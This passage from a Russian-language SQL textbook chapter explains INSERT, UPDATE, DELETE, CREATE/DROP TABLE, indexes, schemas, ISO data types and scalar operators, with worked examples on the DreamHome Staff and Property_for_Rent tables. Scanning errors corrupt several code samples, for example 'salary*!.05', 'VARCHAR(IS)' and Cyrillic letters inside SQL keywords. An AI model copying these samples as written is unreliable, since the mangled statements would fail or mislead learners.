более столбцов, разделенных запятыми. Параметр column_list является необязательным. Если он опущен, то предполагается использование списка из имен всех столбцов таблицы, указанных в том порядке, в котором они были описаны в операторе CREATE TABLE. Если в операторе INSERT указывается конкретный список имен столбцов, то любые опущенные в нем столбцы должны быть объявлены при создании таблицы как допускающие значение NULL — за исключением случаев, когда при описании столбца использовался параметр DEFAULT (раздел 14.3.1). Параметр data_value_list (Список значений данных) должен следующим образом соответствовать параметру column_list:
количество элементов в обоих списках должно быть одинаковым;
должно существовать прямое соответствие между позицией одного и того же элемента в обоих списках, поэтому первый элемент списка data_value_list полагается относящимся к первому элементу списка column_list, второй элемент списка data_value_list — ко второму элементу списка column_list и т.д.;
типы данных элементов списка data_value_list должны быть совместимы с типом данных соответствующих столбцов таблицы.
Пример 13.35. Использование конструкции INSERT . . . VALUES
Поместите в таблицу Staff новую запись, содержащую данные во всех столбцах.
INSERT INTO staff
VALUES ('SGie*, 'Alan', 'Brown', '67 Endrick Rd, Glasgow G32 8QX', '0141-211-3001', 'Assistant', 'M', DATE '1957-05-25', 8300, 'WN848391H', 'ВЗ');
Если размещать вставляемые в каждый столбец таблицы данные в порядке их расположения в таблице, то указывать список столбцов необязательно. Не забывайте, что символьные значения (например, 'Alan') должны быть взяты в одинарные кавычки.
Пример 13.36. Вставка новой записи с использованием значений, принимаемых по умолчанию
Поместите в таблицу Staff новую запись, содержащую данные во всех обязательных столбцах: Sno, FName, LName, Position, Salary и Впо.
INSERT INTO staff (sno, fname, Iname, position, salary, bno)
VALUES ('SG44', 'Anne', 'Jones', 'Assistant', 8100, 'B3');
Поскольку данные вставляются только в определенные столбцы таблицы, необходимо указать имена столбцов, в которые эти данные будут помещаться. Порядок следования имен столбцов несущественен, однако более естественно указать их в том порядке, в каком они следуют в таблице. Кроме того, оператор INSERT можно было бы записать и таким образом:
INSERT INTO Staff
VALUES ('SG44', 'Anne', 'Jones', NULL, NULL, 'Assistant', NULL, NULL, 8100, NULL, 'B3');
В этом случае мы явно указали, что в столбцы Address, Tel_No, Sex, DOB и NIN должны быть помещены значения NULL.
Вторая форма оператора INSERT позволяет скопировать множество строк одной таблицы в другую таблицу. Этот оператор имеет следующий формат:
INSERT INTO table_name [ (column_list}]
SELECT . . .
Здесь параметры table_name и column_list имеют тот же формат и смысл, что и при вставке в таблицу одной строки. Предложение SELECT может представлять собой любой допустимый оператор SELECT. Строки, вставляемые в указанную таблицу, в точности соответствуют строкам результирующей таблицы, созданной при выполнении вложенного запроса. Все ограничения, указанные выше для первой формы оператора INSERT, применимы и в этом случае.
Пример 13.37. Использование конструкции INSERT . ■ ^ч^ВЕШЖ
Предположим, что существует таблица Staff_Prop_Count, содержащая имена работников компании и учетные номера сдаваемых в аренду объектов, за которые они отвечают:
Staff Prop Count(sno, fname, Iname, prop count)
Заполните таблицу StaffJ?rop_Count данными, используя информацию из таблиц Staff и Property_ for_Rent.
INSERT INTO staff prop count
(SELECT s.sno, fname, Iname, COUNT(*)
FROM staff s, property for rent p
WHERE s.sno = p.sno
GROUP BY s.sno, fname, Iname)
UNION
(SELECT sno, fname, Iname, 0
FROM staff
WHERE sno NOT IN
(SELECT DISTINCT sno
FROM property for rent));
Этот пример достаточно сложен, поскольку нам требуется подсчитать количество сдаваемых в аренду объектов, за которые отвечают работники компании. Если опустить вторую часть операции UNION, то будет создан список только тех работников компании, которые в настоящее время отвечают хотя бы за один объект. Иначе говоря, из результатов будут исключены все работники, которые в данный момент не отвечают ни за один сдаваемый в аренду объект. По этой причине для составления полного списка работников компании необходимо использовать оператор UNION, в котором второй оператор SELECT предназначен для выборки сведений именно о таких работниках, причем в столбец Count соответствующих строк помещается значение 0. В табл. 13.41 представлено содержимое таблицы Staff_Prop Count после выполнения приведенного выше оператора.
Таблица 13.41. Результат выполнения SQL-оператора из примера 13.37 .
sno
fname
Iname
prop_count
SG14
David
Ford
2
SL21
John
White
0
SG37
Ann
Beech
2 '
SA9
Mary
Howe
1
SG5
Susan
Brand
0
SL41
Julie
Lee
1
(6 строк)
Отметим, что в некоторых диалектах языка SQL не допускается использовать оператор UNION в подзапросах оператора INSERT.
Модификация данных в базе (оператор UPDATE)
Оператор UPDATE позволяет изменять содержимое уже существующих строк указанной таблицы. Этот оператор имеет следующий формат:
UPDATE tablejiame
SET columnjiamel = data_valuel [, column_name2 = data_value2 . . . ]
[WHERE search_ condition]
Здесь параметр tablejiame представляет либо имя таблицы базы данных, либо имя обновляемого представления (раздел 14.1). В предложении SET указываются имена одного или более столбцов, данные в которых необходимо изменить. Предложение WHERE является необязательным. Если оно опущено, значения указанных столбцов будут изменены во всех строках таблицы. Если предложение WHERE присутствует, то обновлены будут только те строки, которые удовлетворяют условию поиска, заданному в параметре searchjzondition. Параметры data_value представляют новые значения соответствующих столбцов и должны быть совместимы с ними по типу данных.
. Пример 13.38. Обновление всех строк таблицы
Всему персоналу повысьте заработную плату на 3%.
UPDATE staff
SET salary = salary*1.03;;
Поскольку изменения касаются всех строк таблицы, предложение WHERE указывать не требуется.
Пример 13.39. Обновление некоторых строк таблицы
Всем менеджерам компании повысьте заработную плату на 5%._
UPDATE staff
SET salary = salary*!.05
WHERE position = 'Manager';
Здесь предложение WHERE требует отбирать для обновления только те строки таблицы, которые содержат сведения о менеджерах компании. Именно в этих строках в столбец Salary будет помещено новое значение, вычисляемое как salary = salary*!. 05.
Пример 13.40. Обновление нескольких столбцов
Переведите Девида Форда (Sno= 'SG14') на должность менеджера и повысьте ему зарплату до 18 000 фунтов в год.
UPDATE Staff
SET position = 'Manager', salary = 18000
WHERE sno = 'SG14';
Удаление данных из базы (оператор DELETE)
Оператор DELETE позволяет удалять строки данных из указанной таблицы. Этот оператор имеет следующий формат:
DELETE FROM tablejiame
[WHERE search_condition]
Как и в случае операторов INSERT и UPDATE, параметр tablejname может представлять собой либо имя таблицы базы данных, либо имя обновляемого представления (раздел 14.1). Параметр search_condition является необязательным — если он опущен, из таблицы будут удалены все существующие в ней строки. Однако сама по себе таблица удалена не будет. Если необходимо удалить не только содержимое таблицы, но и ее определение, следует использовать оператор DROP TABLE (раздел 13.4.5). Если предложение WHERE присутствует, из таблицы будут удалены только те строки, которые удовлетворяют условию отбора, заданному параметром search^condition.
Пример 13.41. Удаление определенных строк таблицы
Удалите все записи об осмотрах сдаваемого в аренду объекта с учетным номером PG4.
DELETE FROM viewing
WHERE pno = 'PG4';
Предложение WHERE требует отбирать для удаления только те строки таблицы, которые относятся к сдаваемому в аренду объекту с номером 'PG4'.
Пример 13.42. Удаление всех строк таблицы
Удалите все строки из таблицы Viewing.
DELETE FROM viewing;
Поскольку в данном операторе предложение WHERE не указано, будут удалены все строки таблицы. В результате в базе данных сохранится лишь описание таблицы Viewing, что в дальнейшем позволит ввести в нее новую информацию.
Определение данных
Язык DDL (Data Definition Language), будучи частью языка SQL, позволяет создавать и уничтожать различные объекты базы данных — например, схемы, домены, таблицы, представления или индексы. В этом разделе мы бегло ознакомимся с тем, как создаются и удаляются схемы, таблицы и индексы. В следующей главе мы обсудим создание и удаление доменов и представлений, а также методы определения требований поддержки ссылочной целостности при создании или изменении таблиц. Кроме того, стандарт ISO допускает создание утверждений, наборов символов, сопоставлений и толкований. Однако в данной книге эти объекты баз данных мы рассматривать не будем. Заинтересованные читатели могут обратиться к источникам, указанным в списке рекомендованной литературы.
Основными операторами языка SQL, предназначенными для определения данных, являются следующие:
CREATE SCHEMA
DROP SCHEMA
CREATE DOMAINALTER DOMAIN
DROP DOMAIN
CREATE TABLEALTER TABLE
DROP TABLE
CREATE VIEW
DROP VIEW
Эти операторы используются для создания, изменения и уничтожения структур, из которых состоят концептуальные схемы. Кроме того, хотя это и не предусмотрено стандартом SQL2, многие реализации языка дополнительно включают следующие операторы:
CREATE INDEX DROP INDEX
Администраторам баз данных доступны и другие команды, предназначенные для определения физических деталей хранения данных. Однако мы не будем их здесь рассматривать, поскольку все они являются специфическими для конкретных типов СУБД. Прежде чем приступать к обсуждению собственно операторов языка DDL, целесообразно познакомиться с синтаксисом идентификаторов языка SQL и типами данных, которые этот язык допускает использовать при описании столбцов таблиц.
Идентификаторы языка SQL
Идентификаторы языка SQL предназначены для обозначения объектов в базе данных и являются именами таблиц, представлений и столбцов. Символы, которые могут использоваться в создаваемых пользователем идентификаторах языка SQL, должны быть определены как набор символов. Стандарт ISO задает набор символов, который должен использоваться по умолчанию, — он включает строчные и прописные буквы латинского алфавита (A-Z, a-z), цифры (0-9) и символ подчеркивания (_). Допускается использование и альтернативного набора символов. На формат идентификаторов накладываются следующие ограничения:
идентификатор может иметь длину до 128 символов (большинство диалектов предусматривает более жесткие ограничения);
идентификатор должен начинаться с буквы;
идентификатор не может содержать пробелов.
Типы данных языка SQL, определенные стандартом ISO
В языке SQL существует шесть скалярных типов данных, определенных стандартом ISO. Их краткое описание представлено в табл. 13.42. В некоторых случаях в целях упрощения манипулирования и преобразования, а также из-за сходства основных свойств, данные типов character и bit объединяются под понятием “строковые типы данных”, а данные типов exact numeric и approximate numeric — под понятием “числовые типы данных”.
Таблица 13.42. Типы данных языка SQL, определенные в стандарте ISO
Тип данных
Объявления
character (Символьный)
CHAR
VARCHAR
bit (Битовый)
BIT
BIT VARYING
exact numeric (Точные числа)
NUMERIC
DECIMAL
INTEGER
SMALLINT
approximate numeric
(Округленные числа)
FLOAT
REAL
DOUBLE PRECISION
datetime (Дата/время)
DATE
TIME
TIMESTAMP
interval (Интервал)
INTERVAL
Символьные данные (тип character)
Символьные данные состоят из последовательностей символов, входящих в определенный создателями СУБД набор символов. Поскольку наборы символов являются специфическими для различных диалектов языка SQL, перечень символов, которые могут входить в состав значений данных символьного типа, также зависит от конкретной реализации. Чаще всего используются наборы символов ASCII и EBCDIC. Для определения данных символьного типа используется следующий формат:
CHARACTER [VARYING] [length] "
CHARACTER может быть сокращено до CHAR а
CHARACTER VARYING до VARCHAR.
При определении столбца с символьным типом данных параметр length используется для указания максимального количества символов, которые могут быть помещены в данный столбец (по умолчанию принимается значение 1). Символьная строка может
быть определена как имеющая фиксированную или переменную (VARYING) длину. Если строка определена с фиксированной длинной значений, то при вводе в нее меньшего количества символов значение дополняется до указанной длины пробелами, добавляемыми справа. Если строка определена с переменной длинной значений, то при вводе в нее меньшего количества символов в базе данных будут сохранены только введенные символы, что позволяет достичь определенной экономии внешней памяти. Например, столбец NIN таблицы Staff (национальный страховой номер) имеет фиксированную длину в девять симврлов и может быть объявлен следующим образом:
nin CHAR(9)
Столбец Address таблицы Staff имеет переменную длину значения (максимум до 30 символов), поэтому он может быть объявлен следующим образом:
address VARCHAR(30)
Битовые данные (тип bit)
Битовый тип данных используется для определения битовых строк, т.е. последовательности двоичных цифр (битов), каждая из которых может иметь значение либо 0, либо 1. Для определения данных битового типа используется формат, сходный с определением символьных данных:
| BIT [VARYING] [length]
Например, для сохранения битовой строки с фиксированной длиной и значением 'ООН' может быть объявлен столбец bit_string:
bit_string BIT(4)
Точные числа (тип exact numerid)
Тип точных числовых данных используется для определения чисел, которые имеют точное представление в компьютере. Числа состоят из цифр, необязательной десятичной точки и необязательного символа знака. Данные точного числового типа определяются значностью (precision) и длиной дробной части (scale). Значность задает общее количество значащих десятичных цифр числа, в которое входят длина целой и дробной частей, но без учета самой десятичной точки. Дробная часть указывает количество дробных десятичных разрядов числа. Например, точное число - 12.345 имеет значность, равную 5 цифрам, и дробную часть длиной 3. Особой разновидностью точных чисел являются целые числа. Существует несколько способов определения данных точного числового типа:
NUMERIC [ precision [, scale] ]
DECIMAL [ precision [, scale] ]
INTEGER
SMALLINT
INTEGER может быть сокращено до INT a DECIMAL до DEC
Типы NUMERIC и DECIMAL предназначены для хранения чисел в десятичном формате. По умолчанию длина дробной части равна нулю, а принимаемая по умолчанию значность зависит от реализации. Тип INTEGER используется для хранения больших положительных или отрицательных целых чисел. Тип SMALLINT используется для хранения небольших положительных или отрицательных целых чисел. При использовании этого типа данных расход внешней памяти существенно сокращается. Максимальное абсолютное значение числа, которое может сохраняться в столбцах с типом данных SMALLINT, составляет 32 767. Для столбца Rooms таблицы Proper ty_for_Rent, в котором сохраняются сведения о количестве комнат сдаваемого в аренду объекта, можно выбрать тип SMALLINT и объявить его следующим образом:
rooms SMALLINT•
Столбец Salary таблицы Staff может быть объявлен следующим образом:
salary DECIMALf 7,2)
В этом случае максимальное значение заработной платы составит 99 999.99 фунтов стерлингов.
Округленные числа (тип approximate numeric)
Тип округленных чисел используется для описания данных, которые нельзя точно представить в компьютере, — например, действительных чисел. Округленные числа или числа с плавающей точкой представляются в научной нотации, при которой число записывается с помощью мантиссы, умноженной на определенную степень десятки (порядок), например: 10ЕЗ, +5.2Е6, -0.2Е-4. Существует несколько способов определения данных с типом округленных чисел:
FLOAT [precision]
REAL
DOUBLE PRECISION
Параметр precision задает значность мантиссы. Значность определений типа REAL и DOUBLE PRECISION зависит от конкретной реализации.
Дата и время (тип datetime)
Тип данных “дата/время” используется для определения моментов времени с некоторой установленной точностью. Примерами являются даты, отметки времени и время суток. Стандарт ISO разделяет тип данных “дата/время” на подтипы YEAR (Год), MONTH (Месяц), DAY (День), HOUR (Час), MINUTE (Минута), SECOND (Секунда), TIMEZONE_HOUR (Зональный час) и TIMEZONE_MINUTE (Зональная минута). Два последних типа определяют час и минуты сдвига зонального времени по отношению к универсальному координатному времени (Гринвичскому времени). Поддерживается три типа полей даты/времени:
TIME Vtime_precision\ [WITH TIME ZONE]
TIMESTAMP [time_precision] [WITH TIME ZONE]
Тип данных DATE используется для хранения календарных дат, включающих поля YEAR, MONTH и DAY. Тип данных TIME используется для хранения отметок времени, включающих поля HOUR, MINUTE и SECOND. Тип данных TIMESTAMP используется для совместного хранения даты и момента времени. Параметр time_precision задает количество дробных десятичных знаков, определяющих точность сохранения значения в поле SECOND. Если этот параметр опускается, по умолчанию его значение для столбцов типа TIME принимается равным нулю (т.е. сохраняются целые секунды), тогда как для полей типа TIMESTAMP он принимается равным 6 (т.е. отметки времени сохраняются с точностью до миллисекунд). Наличие ключевого слова WITH TIME ZONE определяет использование полей TTMEZONE_HOUR и TIMEZONE MINUTE. Например, столбец Date таблицы Viewing, представляющий дату (день, месяц и год) осмотра клиентом сдаваемого в аренду объекта, может быть определен следующим образом: ' date DATE
Данные типа interval
Данные с типом интервала используются для представления периодов времени. Любой интервальный тип данных состоит из набора отдельных полей: YEAR, MONTH, DAY, HOUR, MINUTE и SECOND. Существует два класса данных с интервальным типом: интервалы год—месяц и интервалы день-время. В первом случае данные включают
только два поля — YEAR и/или MONTH. Данные второго типа могут состоять из произвольной последовательности полей DAY, HOUR, MINUTE, SECOND. Данные интервального типа определяются следующим образом:
INTERVAL ^start_field ТО end_field) single_datetime_field)
start_field = YEAR | MONTH | DAY | HOUR | MINUTE
^interval leading field precision)]
endjield = YEAR | MONTH | DAY | HOUR | MINUTE | SECOND [(fractional seconds precision)]-
single_datetime_field = start_field | SECOND * [(interval leading field precision lffractional seconds precision])]
Во всех случаях для параметра s tar t_ field необходимо указать размерность первого поля (interval leading field precision), которая по умолчанию принимается равной двум. Например:
INTERVAL YEAR(2) ТО MONTH
Это объявление описывает интервал времени, значение которого может находиться между 0 годом, 0 месяцем и 99 годом, 11 месяцем. Еще один пример:
INTERVAL HOUR ТО SECOND(4)
Это объявление описывает интервал времени, значение которого может меняться от 0 часов, 0 минут, 0 секунд до 99 часов, 59 минут 59.9999 секунды. (Значность первого поля по умолчанию устанавливается равной 2, а число дробных десятичных знаков для секунд явно задано равным 4.)
Скалярные операторы
Язык SQL включает некоторое количество встроенных скалярных операторов и функций, которые могут использоваться для построения скалярных выражений, т.е. выражений, вычисление которых дает скалярный результат. Помимо обычных арифметических операторов (+,-,* и /) в языке определены и другие операторы, представленные в табл. 13.4<3.
Таблица 13.43. Скалярные операторы языка SQL, предусмотренные стандартом ISO
Оператор
Назначение
BIT_LENGTH
Возвращает длину заданной строки в битах. Например, результат вычисления выражения BIT_LENGTH (X' FFFF') равен 16'
OCTET_LENGTH
Возвращает длину заданной строки в октетах (длина в битах, деленная на 8). Например, результат вычисления выражения OCTET_LENGTH(X'FFFF') равен 2
CHAR__LENGTH
Возвращает длину заданной строки в символах (или в октетах, если строка является битовой строкой). Например, результат вычисления выражения CHAR__LENGTH( 'Beech') равен 5
CAST
Преобразует значение выражения, построенного из данных одного типа, в значение другого типа данных. Например, в результате вычисления выражения CAST(5E3 AS INTEGER) будет получено значение 5000
II
Оператор конкатенации. Соединенные этим оператором две символьные или битовые строки преобразуются в одну строку. Например, выражение f name 11 Iname позволяет объединить имя и фамилию работника в одну символьную строку
CURRENT JSER или
Функция возвращает символьную строку, представляющую собой идентификатор
USER
(или, как принято говорить, имя) текущего пользователя
SESSION JJSER
Функция возвращает символьную строку, представляющую собой идентификатор текущего сеанса SQL
Оператор
Назначение
SYSTEM_USER
Функция возвращает символьную строку, представляющую собой идентификатор пользователя, активизировавшего текущий модуль
LOWER
Функция преобразует в заданной строке все прописные буквы в строчные. Например, в результате вычисления выражения LOWER (SELECT fname FROM staff WHERE sno = 'SL21') будет получено значение 'john'
UPPER
Функция преобразует в заданной строке все строчные буквы в прописные. Например, в результате вычисления выражения UPPER (SELECT fname FROM staff WHERE sno = 'SL21f) будет получено значение 'JOHN'
TRIM
Функция удаляет ведущие (LEADING), конечные (TRAILING) или те и другие (BOTH) указанные символы из заданной строки. Например, вычисление выражения TRIM(BOTH '*' FROM '*** Hello World ***') даст результат 'Hello World'
POSITION
Функция возвращает позицию одной строки в пределах другой строки. Например, в результате вычисления выражения POSITION ('ее' IN 'Beech') будет получено значение 2
SUBSTRING
Функция выполняет выделение подстроки из заданной строки. Например, в результате вычисления выражения SUBSTRING ('Beech' FROM 1 ТО 3) будет получено значение 'Вее'
CASE
Оператор возвращает одно из значений заданного набора исходя из результатов проверки выполнения указанных условий. Например:
CASE type
WHEN'House'THEN1
WHEN'Flat'THEN2
ELSE0
END
CURRENT^DATE
Функция возвращает текущую дату той временной зоны, которая является локальной для пользователя
CURRENT_TIME
Функция возвращает текущее время той временной зоны, которая является принятой по умолчанию для текущего сеанса. Например, выражение CURRENT_TIME(6) возвратит текущее время с точностью до микросекунд
CURRENT JHME_STAMP
Функция возвращает текущую дату и время той временной эоны, которая является принятой по умолчанию для текущего сеанса. Например, выражение
CURRENT TIMESTAMP (0) возвратит временную отметку с точностью др целых секунд
EXTRACT
Функция возвращает значение указанного поля из значения типа даты, времени или интервала. Например, в результате вычисления выражения EXTRACT (YEAR FROM staff .dob) будет извлечено значение года в колонке Dob записи таблицы Staff
Создание баз данных
В различных СУБД процедура создания баз данных существенно отличается. В многопользовательских системах право создания баз данных обычно закрепляется только за администратором базы данных (АБД). В однопользовательских системах принимаемая по умолчанию база данных может быть создана непосредственно в процессе установки и настройки параметров самой СУБД. Стандарт ISO не определяет, как должны создаваться базы данных, поэтому в каждом из диалектов языка SQL обычно используется собственный подход. Например, в СУБД INGRES и ORACLE используется описанная ниже технология.
СУБД INGRES включает специальную утилиту под именем CREATEDB, с помощью которой создаются новые базы данных INGRES. Еще одна утилита, DESTROYDB, предназначена для удаления баз данных.
В СУБД ORACLE создание базы данных является частью процесса установки системы. Чаще всего все пользовательские таблицы размещаются в этой единственной общесистемной базе данных.
В соответствии со стандартом ISO, таблицы и другие объекты базы данных существуют в некоторой среде (environment). Помимо всего прочего, каждая среда состоит из одного или более каталогов (catalog), а каждый каталог — из набора схем (shema). Схема представляет собой поименованную коллекцию объектов базы данных, которые некоторым образом связаны друг с другом (все объекты в базе данных должны быть описаны в той или иной схеме). Объектами схемы могут быть таблицы, представления, домены, утверждения, сопоставления, толкования и наборы символов. Все объекты схемы имеют одного и того же владельца и множество общих значений, принимаемых по умолчанию.
Стандарт оставляет право выбора конкретного механизма создания и уничтожения каталогов за разработчиком СУБД, однако регламентирует механизм создания и удаления схем. Оператор определения схемы имеет следующий формат (упрощенно): | CREATE SCHEMA (name | AUTHORIZATION creator-identifier^|
Таким образом, если создателем схемы под именем sql_test будет пользователь Smith, то данный оператор будет выглядеть следующим образом:
CREATE SCHEMA sql_tests AUTHORIZATION Smith;
В стандарте ISO также указано, что должна существовать возможность определить в рамках данного оператора диапазон возможностей, доступных пользователям создаваемой схемы. Однако конкретные способы определения подобных привилегий в разных СУБД различаются между собой.
Схема удаляется с помощью оператора DROP SCHEMA, который имеет следующий формат:
| DROP SCHEMA name [ RESTRICT | CASCADE ]|
Если указано ключевое слово RESTRICT (именно оно принимается по умолчанию), схема должна быть пустой, иначе выполнение операции будет отменено. Если указано ключевое слово CASCADE, при выполнении оператора будут автоматически удалены все связанные с удаляемой схемой объекты, причем в порядке, указанном выше. Если одна из этих операций удаления будет завершена неудачно, выполнение всего оператора DROP SCHEMA будет отменено. Общий эффект от выполнения оператора DROP SCHEMA с параметром CASCADE может оказаться весьма обширным, поэтому подобные операторы должны вводиться с исключительной осторожностью.
В настоящее время операторы CREATE SCHEMA и DROP SCHEMA реализованы в очень немногих СУБД. В других реализациях вместо оператора CREATE SCHEMA используется следующий оператор:
CREATE DATABASE database name"
Создание таблиц (оператор CREATE TABLE)
После создания общей структуры базы данных можно приступить к созданию таблиц, представляющих отношения, входящие в состав проекта базы данных. Для этой цели используется оператор CREATE TABLE, имеющий следующий общий формат:
CREATE TABLE tabi е_ name
{column_name data-type [NULL | NOT NULL] [,...])
В результате выполнения этого оператора будет создана таблица, имя которой определяется параметром table_name, состоящая из одного или более столбцов с именами, задаваемыми параметрами со1шпп_пате, содержащими данные с типом, указанным параметрами data_type. Набор доступных типов данных был описан в разделе 13.4.2. Ключевое слово NULL используется для указания того, что в данном столбце могут содержаться значения NULL. Значение NULL отличается от пробела или нуля — оно используется для указания того, что данные недоступны, опущены или недопустимы (см. раздел 3.3.1). Если указано ключевое слово NOT NULL, то будут отклонены любые попытки поместить значение NULL в данный столбец. Если указано значение NULL, помещение значений NULL в столбец будет разрешено. По умолчанию стандарт ISO предполагает наличие ключевого слова NULL.
Столбцы первичных ключей всегда должны определяться с указанием ключевого слова NOT NULL — это гарантирует, что первичный ключ таблицы не будет содержать пустых значений, способных вызвать нарушение ссылочной целостности данных. Если определитель NOT NULL не будет указан, в ключевой столбец таблицы могут быть внесены пустые значения, что вызовет нарушение ссылочной целостности данных. Для исключения подобных ошибок потребуется создать специальные программы, предназначенные для поддержки ссылочной целостности данных в системе. Столбцы внешних ключей также часто (но не всегда) являются кандидатами на использование ключевого слова NOT NULL.
Пример 13.43. Создание таблицы
Для иллюстрации процесса разработки таблиц мы рассмотрим операторы создания двух таблиц приложения DreamHome — Staff и Property_for_Rent:
CREATE TABLE staff(
sno
VARCHAR{5)
NOT NULL,
fname
VARCHAR(IS)
NOT NULL,
Iname
VARCHAR(IS)
NOT NULL,
address
VARCHAR(50),
tel no
VARCHAR(13),
position
VARCHAR(IO)
NOT NULL,
sex
CHAR,
dob
DATETIME,
salary
DECIMAL(7,2)
NOT NULL,
nin
CHAR(9),
bno
VARCHAR(3)
NOT NULL);
CREATE TABLE property for rent(
pno
VARCHAR(5)
NOT
NULL,
street
VARCHAR(25)
NOT
NULL,
area
VARCHAR(15), VARCHAR(15)
city
NOT
NULL,
pcode
VARCHAR(8),
type
CHAR
NOT
NULL,
rooms
SMALLINT
NOT
NULL,
rent
DECIMAL(6,2)
NOT
NULL,
ono
VARCHAR(5)
NOT
NULL,
sno
VARCHAR(5),
bno
VARCHAR(3)
NOT
NULL);
В случае таблицы Property_for_Rent, хотя столбец с табельным номером работника Sno является внешним ключом, для него не указывается ключевое слово NOT NULL, поскольку могут существовать определенные периоды времени, когда за данный сдаваемый в аренду объект не будет отвечать ни один из работников компании. (Например, подобная ситуация возможна при первичной регистрации нового объекта.) Однако остальные внешние ключи этой таблицы — Опо (номер владельца) и Впо (номер отделения
компании) — должны быть определены с указанием этого ключевого слова. В данном случае использовалась упрощенная версия оператора CREATE TABLE стандарта ISO. Пол- * ная версия этого оператора будет обсуждаться в разделе 14.3.1.;
Удаление таблиц (оператор DROP TABLE)
С течением времени структура базы данных меняется: создаются новые таблицы, а прежние становятся ненужными. Ненужные таблицы удаляются из базы данных с помощью оператора DROP TABLE, имеющего следующий формат:
DROP TABLE table^name [RESTRICT | CASCADE]
Например, для удаления таблицы Property_for_Rent можно использовать следующий оператор:
DROP TABLE property_for_rent;
Однако следует отметить, что эта команда удалит не только указанную таблицу, но и все входящие в нее строки данных. Если требуется удалить из таблицы лишь строки данных, сохранив в базе описание самой таблицы, то следует использовать оператор DELETE (см. раздел 13.3.10).
Оператор DROP TABLE дополнительно позволяет указывать, следует ли операцию удаления выполнять каскадно. Если в операторе указано ключевое слово RESTRICT, то при наличии в базе данных хотя бы одного объекта, существование которого зависит от удаляемой таблицы, выполнение данного оператора DROP TABLE будет отменено. Если в операторе указано ключевое слово CASCADE, автоматически будут удалены и все прочие объекты базы данных, существование которых зависит от удаляемой таблицы, а также другие объекты, существование которых зависит от удаляемых объектов. Общий эффект от выполнения оператора DROP TABLE с ключевым словом CASCADE может оказаться весьма ощутимым, поэтому подобные операторы следует использовать с максимальной осторожностью.
Чаще всего оператор DROP TABLE используется для исправления ошибок, допущенных при создании таблицы. Если таблица была создана с некорректной структурой, можно воспользоваться оператором DROP TABLE для ее удаления, после чего создать эту таблицу заново.
Создание индекса (оператор CREATE INDEX)
Индекс представляет собой структуру, позволяющую выполнять ускоренный доступ к строкам таблицы на основе значений одного или более ее столбцов. (Назначение индексов и способов их использования для повышения скорости выборки данных обсуждается в приложении Б, “Структура данных в файлах с различной организацией”.) Наличие индекса может существенно повысить скорость выполнения некоторых запросов. Однако, поскольку индексы должны обновляться системой при каждом внесении изменений в их базовую таблицу, они создают дополнительную нагрузку на систему. Индексы обычно создаются с целью удовлетворения определенных критериев поиска, после того как таблица уже находилась некоторое время в работе и увеличилась в размерах. Создание индексов не предусмотрено стандартом на язык SQL. Однако большинство диалектов поддерживает как минимум следующий оператор:
CREATE [UNIQUE] INDEX index name
ON table name (column [ASC J DESC] [,.••])
Указанные в операторе столбцы составляют ключ индекса и должны быть перечислены в возрастающем или убывающем порядке. Индексы могут создаваться только для таблиц базы данных, но не для представлений. Если в операторе указано ключевое слово UNIQUE, уникальность значений ключа индекса будет автоматически поддерживаться системой. Требование уникальности значений обязательно для пер-
винных ключей, а также, возможно, и для других столбцов таблицы (например, для альтернативных ключей). Хотя создание индексов возможно в любой момент, при построении индекса для уже заполненной данными таблицы могут возникнуть проблемы, связанные с дублированием данных в различных строках. Следовательно, имеет смысл создавать уникальные индексы (по крайней мере для первичного ключа) непосредственно при создании таблицы. В результате система сразу же возьмет на себя контроль за уникальностью значений данных в соответствующих столбцах.
Для таблиц Staff и Property_for_Rent должны быть созданы, по крайней мере, следующие индексы:
CREATE UNIQUE INDEX sno_ind ON staff (sno);
CREATE UNIQUE INDEX pno_ind ON property_for_rent (pno);
Для каждого из ключевых столбцов может быть указан порядок следования значений — по возрастанию (ASC) или по убыванию (DESC), причем значение ASC используется по умолчанию. Например, для таблицы Property_for_Rent можно создать следующий индекс:
CREATE INDEX rent_ind ON property_for_rent (area, rent);
При обработке этого оператора будет создан файл под именем rent_ind, содержащий данные вновь созданного индекса таблицы Property_for_Rent. Строки в этом файле будут расположены в порядке возрастания значений столбца area, а внутри них — в порядке возрастания значений столбца rent.
Удаление индекса (оператор DROP INDEX)
Если для таблицы базы данных был создан индекс, который впоследствии оказался ненужным, то его можно удалить с помощью оператора DROP INDEX. Этот оператор имеет следующий формат:
DROP INDEX index_name
С помощью приведенного ниже оператора будет удален индекс, созданный в предыдущем примере.
DROP INDEX rent^ind;
Сравнение языков SQL и QBE
В главе 15 мы познакомимся с альтернативным языком, широко использующим для построения запросов графические средства и технологию “укажи и щелкни”, — с языком QBE (Query By Example). QBE заслужил репутацию одного из самых простых способов извлечения информации из базы данных, особенно удобных для пользователей, не являющихся профессионалами в области компьютерных наук. Язык QBE предоставляет графические средства создания запросов на выборку данных с использованием шаблонов. Выполнение запроса к базе данных осуществляется путем графического предоставления ответов на все существующие вопросы. При вводе имен столбцов и требуемых форматов экран дисплея используется вместо клавиатуры, что позволяет непосредственно указать помещаемые в результаты запроса столбцы данных и определить ограничения на выбираемую информацию. Языки, подобные QBE, могут стать весьма эффективным средством интерактивной работы с базой данных, а также обновления ее содержимого.
К сожалению, в отличие от языка SQL, языки, подобные QBE, не имеют официального стандарта. Тем не менее предоставляемые этими языками функциональные возможности подобны возможностям языка SQL, а используемые средства более интуитивно понятны пользователям.
Резюме
Язык SQL является непроцедурным языком, построенным на использовании обычных английских слов (SELECT, INSERT, DELETE). Он может использоваться как профессионалами, так и непрофессионалами. Этот язык формально и фактически стал стандартным языком определения и манипулирования реляционными базами данных.
Оператор SELECT используется для создания запроса и является самым важным из всех существующих SQL-операторов. Он комбинирует три основные операции реляционной алгебры, такие как выборка, проекция и соединение. При выполнении любого оператора SELECT создается результирующая таблица, содержащая один или больше столбцов и нуль или больше строк.
В списке предложения SELECT указываются столбцы и/или вычисляемые поля, которые должны присутствовать в результирующей таблице. В предложении FROM должны быть перечислены все таблицы и представления, доступ к которым необходим для извлечения данных из столбцов, имена которых присутствуют в предложении SELECT.
Предложение WHERE используется для отбора строк данных, которые должны быть помещены в результирующую таблицу запроса. Отбор осуществляется посредством проверки заданных условий поиска для каждой из строк указанных таблиц. Фраза ORDER BY позволяет упорядочить строки результирующей таблицы по значению одного или нескольких столбцов. Для каждого столбца может использоваться упорядочивание в порядке возрастания или убывания значений. Если фраза ORDER BY присутствует в операторе SELECT, то она должна быть в нем последней.
